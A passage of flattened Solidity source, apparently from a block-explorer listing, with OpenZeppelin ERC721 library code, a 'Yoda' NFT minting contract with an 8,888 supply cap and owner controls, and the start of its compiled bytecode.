* * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: yoda.sol pragma solidity ^0.8.0; contract Yoda is ERC721Enumerable, Ownable { using Strings for uint256; string _baseTokenURI; uint256 private _maxMint = 30; uint256 private _price = 4 * 10**16; //0.04 ETH; bool public _paused = false; uint public constant MAX_ENTRIES = 8888; constructor() ERC721("Yoda", "YODA") { setBaseURI("ipfs://"); } function mint(address _to, uint256 num) public payable { uint256 supply = totalSupply(); if(msg.sender != owner()) { require(!_paused, "Sale Paused"); require( num < (_maxMint+1),"You can adopt a maximum of _maxMint Yodas" ); require( msg.value >= _price * num,"Ether sent is not correct" ); } require( supply + num <= MAX_ENTRIES, "Exceeds maximum supply" ); for(uint256 i; i < num; i++){ _safeMint( _to, supply + i ); } } function walletOfOwner(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function getPrice() public view returns (uint256){ if(msg.sender == owner()) { return 0; } return _price; } function setPrice(uint256 _newPrice) public onlyOwner() { _price = _newPrice; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function pause(bool val) public onlyOwner { _paused = val; } function withdrawAll() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
0x6080604052600436106101b75760003560e01c80636352211e116100ec57806395d89b411161008a578063b88d4fde11610064578063b88d4fde146105f0578063c87b56dd14610619578063e985e9c514610656578063f2fde38b14610693576101b7565b806395d89b411461057157806398d5fdca1461059c578063a22cb465146105c7576101b7565b80637d4cb964116100c65780637d4cb964146104e8578063853828b6146105135780638da5cb5b1461051d57806391b7f5ed14610548576101b7565b80636352211e1461045757806370a0823114610494578063715018a6146104d1576101b7565b806323b872dd1161015957806342842e0e1161013357806342842e0e1461038b578063438b6300146103b45780634f6ccce7146103f157806355f804b31461042e576101b7565b806323b872dd146103095780632f745c591461033257806340c10f191461036f576101b7565b8063081812fc11610195578063081812fc1461024d578063095ea7b31461028a57806316c61ccc146102b357806318160ddd146102de576101b7565b806301ffc9a7146101bc57806302329a29146101f957806306fdde0314610222575b600080fd5b3480156101c857600080fd5b506101e360048036038101906101de9190612cc7565b6106bc565b6040516101f0919061373f565b60405180910390f35b34801561020557600080fd5b50610220600480360381019061021b9190612c9e565b610736565b005b34801561022e57600080fd5b506102376107cf565b604051610244919061375a565b60405180910390f35b34801561025957600080fd5b50610274600480360381019061026f9190612d5a565b610861565b60405161028191906136b6565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac9190612c62565b6108e6565b005b3480156102bf57600080fd5b506102c86109fe565b6040516102d5919061373f565b60405180910390f35b3480156102ea57600080fd5b506102f3610a11565b6040516103009190613a3c565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b9190612b5c565b610a1e565b005b34801561033e57600080fd5b5061035960048036038101906103549190612c62565b610a7e565b6040516103669190613a3c565b60405180910390f35b61038960048036038101906103849190612c62565b610b23565b005b34801561039757600080fd5b506103b260048036038101906103ad9190612b5c565b610ce3565b005b3480156103c057600080fd5b506103db60048036038101906103d69190612af7565b610d03565b6040516103e8919061371d565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190612d5a565b610dfd565b6040516104259190613a3c565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612d19565b610e94565b005b34801561046357600080fd5b5061047e60048036038101906104799190612d5a565b610f2a565b60405161048b91906136b6565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b69190612af7565b610fdc565b6040516104c89190613a3c565b60405180910390f35b3480156104dd57600080fd5b506104e6611094565b005b3480156104f457600080fd5b506104fd61111c565b60405161050a9190613a3c565b60405180910390f35b61051b611122565b005b34801561052957600080fd5b506105326111de565b60405161053f91906136b6565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a9190612d5a565b611208565b005b34801561057d57600080fd5b5061058661128e565b604051610593919061375a565b60405180910390f35b3480156105a857600080fd5b506105b1611320565b6040516105be9190613a3c565b60405180910390f35b3480156105d357600080fd5b506105ee60048036038101906105e99190612c26565b61136f565b005b3480156105fc57600080fd5b5061061760048036038101906106129190612bab565b6114f0565b005b34801561062557600080fd5b50610640600480360381019061063b9190612d5a565b611552565b60405161064d919061375a565b60405180910390f35b34801561066257600080fd5b5061067d60048036038101906106789190612b20565b6115f9565b60405161068a919061373f565b60405180910390f35b34801561069f57600080fd5b506106ba60048036038101906106b59190612af7565b61168d565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061072f575061072e82611785565b5b9050919050565b61073e611867565b73ffffffffffffffffffffffffffffffffffffffff1661075c6111de565b73ffffffffffffffffffffffffffffffffffffffff16146107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a99061393c565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6060600080546107de90613d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461080a90613d2f565b80156108575780601f1061082c57610100808354040283529160200191610857565b820191906000526020600020905b81548152906001019060200180831161083a57829003601f168201915b5050505050905090565b600061086c8261186f565b6108ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a29061391c565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006108f182610f2a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610962576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109599061399c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610981611867565b73ffffffffffffffffffffffffffffffffffffffff161